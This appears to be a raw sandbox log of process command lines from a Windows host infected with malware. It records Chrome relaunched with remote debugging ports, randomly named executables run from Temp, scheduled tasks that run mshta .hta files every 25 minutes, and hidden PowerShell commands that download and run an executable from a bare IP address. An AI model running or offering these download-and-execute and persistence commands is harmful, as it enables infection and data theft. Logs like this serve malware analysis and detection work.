"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2644 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2652 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:1

C:\Windows\system32\taskeng.exe

taskeng.exe {92883429-3025-46A3-84C1-8B034B9522A4} S-1-5-21-3533259084-2542256011-65585152-1000:XPAJOTIY\Admin:Interactive:[1]

C:\ProgramData\qonfme\qjdkxjv.exe

C:\ProgramData\qonfme\qjdkxjv.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1432 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe

"C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe"

C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe

"C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe"

C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe

"C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6d19758,0x7fef6d19768,0x7fef6d19778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1180 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1520 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1612 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=1832 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2712 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2728 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1480 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe

"C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3832 --field-trial-handle=1376,i,14639521659852949907,17511965897385602000,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1168 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1440 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1600 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2404 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2460 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\10110390101\03aa9b8fea.exe

"C:\Users\Admin\AppData\Local\Temp\10110390101\03aa9b8fea.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2828 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:1

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn 1gpBEma2Nv0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\WOsf0FDnX.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\WOsf0FDnX.hta

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn 1gpBEma2Nv0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\WOsf0FDnX.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1372 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE

"C:\Users\Admin\AppData\Local\Temp2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\10110400121\am_no.cmd" "

C:\Windows\SysWOW64\timeout.exe

timeout /t 2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3756 --field-trial-handle=1300,i,3947948430488896073,13262556715613631810,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1548 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2376 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2660 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2692 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:1

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1332 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:2

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn "7EDlQmaaQ2N" /tr "mshta \"C:\Temp\2GJDWF9Vj.hta\"" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta "C:\Temp\2GJDWF9Vj.hta"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3736 --field-trial-handle=1308,i,18357545219345177667,10570342751634539319,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe

"C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"

C:\Users\Admin\AppData\Local\Temp\10110420101\f5714efffc.exe

"C:\Users\Admin\AppData\Local\Temp\10110420101\f5714efffc.exe"

C:\Users\Admin\AppData\Local\Temp\10110430101\5a7cbb7824.exe

"C:\Users\Admin\AppData\Local\Temp\10110430101\5a7cbb7824.exe"

C:\Users\Admin\AppData\Local\Temp\10110430101\5a7cbb7824.exe

"C:\Users\Admin\AppData\Local\Temp\10110430101\5a7cbb7824.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1448 -s 508

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1680 -s 1032

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef79c9758,0x7fef79c9768,0x7fef79c9778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1112 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1500 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1612 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2280 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2692 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2796 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1444 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:2

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3828 --field-trial-handle=1280,i,15047398082951686239,11785185975807995676,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110440101\03599be03f.exe

"C:\Users\Admin\AppData\Local\Temp\10110440101\03599be03f.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1180 --field-trial-handle=1320,i,5292374448508096158,18269332638494156678,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1548 --field-trial-handle=1320,i,5292374448508096158,18269332638494156678,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1648 --field-trial-handle=1320,i,5292374448508096158,18269332638494156678,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2368 --field-trial-handle=1320,i,5292374448508096158,18269332638494156678,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2168 --field-trial-handle=1320,i,5292374448508096158,18269332638494156678,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2088 --field-trial-handle=1320,i,5292374448508096158,18269332638494156678,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1004 --field-trial-handle=1320,i,5292374448508096158,18269332638494156678,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

